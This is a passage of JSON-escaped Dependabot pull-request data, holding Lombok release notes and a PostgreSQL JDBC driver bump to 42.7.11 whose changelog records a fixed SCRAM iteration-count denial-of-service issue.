JDK25 support added \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3859\"\u003e#3859\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Recent versions of eclipse (or the eclipse-based java lang server for VSCode) caused \u003ccode\u003ejava.lang.IllegalArgumentException: Document does not match the AST\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3886\"\u003e#3886\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3886\"\u003eprojectlombok/lombok#3886\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePERFORMANCE: \u003ccode\u003e@ExtensionMethod\u003c/code\u003e is now significantly faster [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3866\"\u003e#3866\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3866\"\u003eprojectlombok/lombok#3866\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: the command line \u003ccode\u003econfig\u003c/code\u003e tool would emit incorrect output for nullity annotations. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3931\"\u003e#3931\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3931\"\u003eprojectlombok/lombok#3931\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFEATURE: \u003ccode\u003e@Jacksonized @Accessors(fluent=true)\u003c/code\u003e automatically creates the relevant annotations such that Jackson correctly identifies fluent accessors. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3265\"\u003e#3265\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3265\"\u003eprojectlombok/lombok#3265\u003c/a\u003e), [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3270\"\u003e#3270\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3270\"\u003eprojectlombok/lombok#3270\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIMPROBABLE BREAKING CHANGE: From versions 1.18.16 to 1.18.38, lombok automatically copies certain Jackson annotations (e.g., \u003ccode\u003e@JsonProperty\u003c/code\u003e) from fields to the corresponding accessors (getters/setters). However, it turned out to be harmful in certain situations. Thus, Lombok does not automatically copy those annotations any more. You can restore the old behavior using the \u003ca href=\"https://projectlombok.org/features/configuration\"\u003econfig key\u003c/a\u003e \u003ccode\u003elombok.copyJacksonAnnotationsToAccessors = true\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.38 (March 31st, 2025)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK24 support added.\u003c/li\u003e\n\u003cli\u003eFEATURE: Lombok's nullity annotation now supports \u003ca href=\"https://jspecify.dev\"\u003eJSpecify\u003c/a\u003e out of the box, using \u003ca href=\"https://projectlombok.org/features/configuration\"\u003econfig key\u003c/a\u003e \u003ccode\u003ejspecify\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Recent eclipse releases would get you 'negative length' error. The bug had always been in lombok but didn't matter until recent releases. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3823\"\u003e#3823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3823\"\u003eprojectlombok/lombok#3823\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: The 'extract local variable' refactor script of VSCode wouldn't replace all occurrences if run on a method call to a lombok generated method. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3783\"\u003e#3783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3783\"\u003eprojectlombok/lombok#3783\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.36 (November 15th, 2024)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK23 support added.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Eclipse projects using the \u003ccode\u003ecom.pro-crafting.tools:jasperreports-maven-plugin\u003c/code\u003e will now compile.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.34 (June 28th, 2024)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: Added support for Eclipse 2024-06; you'd get some \u003ccode\u003eNoSuchMethodError\u003c/code\u003e traces in your logs if using \u003ccode\u003e@Builder\u003c/code\u003e or \u003ccode\u003e@Singular\u003c/code\u003e prior to this fix. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3638\"\u003e#3638\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3638\"\u003eprojectlombok/lombok#3638\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIMPROBABLE BREAKING CHANGE: Lombok now adds \u003ccode\u003e@lombok.Generated\u003c/code\u003e by default to methods and types it generates. This may result in accidentally increasing your test coverage percentage. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3667\"\u003e#3667\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3667\"\u003eprojectlombok/lombok#3667\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIMPROBABLE BREAKING CHANGE: When \u003ccode\u003elombok.config\u003c/code\u003e contains \u003ccode\u003elombok.onX.flagUsage = WARNING\u003c/code\u003e, from now on warnings will actually be generated if onX is used.[Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2848\"\u003e#2848\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2848\"\u003eprojectlombok/lombok#2848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBUGFIX: When \u003ccode\u003e@SuperBuilder\u003c/code\u003e was used on a type with an generic array type, it would error \u003ccode\u003ewrong number of type arguments\u003c/code\u003e.  [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3694\"\u003e#3694\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3694\"\u003eprojectlombok/lombok#3694\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFEATURE: Lombok generates javadoc for you for most of the methods it adds; with this release, javadoc is also added to generated constructors. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/933\"\u003e#933\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/933\"\u003eprojectlombok/lombok#933\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.32 (March 20th, 2024)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: Initial JDK22 support added.\u003c/li\u003e\n\u003cli\u003ePLAFTORM  Added support for Eclipse 2024-03. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3620\"\u003e#3620\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3620\"\u003eprojectlombok/lombok#3620\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePLATFORM: Added support for recent versions of eclipse (released Q4 2023 or later or so) which would cause failures in the eclipse logs such as \u003ccode\u003ejava.lang.NoSuchMethodError: 'java.lang.StringBuffer org.eclipse.jdt…\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3564\"\u003e#3564\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3564\"\u003eprojectlombok/lombok#3564\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFEATURE: \u003ccode\u003e@Locked\u003c/code\u003e has been introduced. Like \u003ccode\u003e@Synchronized\u003c/code\u003e but with \u003ccode\u003ejava.util.concurrent.locks\u003c/code\u003e locks instead of the \u003ccode\u003esynchronized\u003c/code\u003e primitive. Thanks, Pim van der Loos for the PR! [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3506\"\u003e#3506\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3506\"\u003eprojectlombok/lombok#3506\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eNECROMANCY: Inlining a generated getter in eclipse would result in eclipse incorrectly replacing calls with \u003ccode\u003e@Getter\u003c/code\u003e instead of the actual field's name. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/562\"\u003e#562\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/562\"\u003eprojectlombok/lombok#562\u003c/a\u003e). This issue is almost old enough to drink. Points for dedication go to Rawi for fixing this one.\u003c/li\u003e\n\u003cli\u003eBUGFIX: When \u003ccode\u003e@SuperBuilder\u003c/code\u003e was used on a type with an annotated generic type, it would error \u003ccode\u003ewrong number of type arguments\u003c/code\u003e.  [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3592\"\u003e#3592\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3592\"\u003eprojectlombok/lombok#3592\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: It was possible to create an infinite build loop using \u003ccode\u003e@ExtensionMethod\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3225\"\u003e#3225\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3225\"\u003eprojectlombok/lombok#3225\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eBUGFIX: Using \u003ccode\u003e@Getter(lazy=true)\u003c/code\u003e would fail if the expression contained a variable called \u003ccode\u003evalue\u003c/code\u003e. [Issue \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2917\"\u003e#2917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2917\"\u003eprojectlombok/lombok#2917\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/936ca59baf844fd6c0ad641974295498785d8091\"\u003e\u003ccode\u003e936ca59\u003c/code\u003e\u003c/a\u003e [build] lombok's launcher is still intended to be 1.4 compatible, or at least...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/projectlombok/lombok/commit/fcdab3f29e1b48...\n\n_Description has been truncated_","html_url":"https://github.com/AOT-Technologies/forms-flow-ai/pull/3317","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AOT-Technologies%2Fforms-flow-ai/issues/3317","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3317/packages"},{"uuid":"4584292555","node_id":"PR_kwDORxGGis7icua6","number":402,"state":"open","title":"chore(deps-backend): bump org.postgresql:postgresql from 42.7.8 to 42.7.11 in /platform","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-03T23:02:05.000Z","updated_at":"2026-06-03T23:02:06.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-backend)","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":"/platform","ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.8 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for 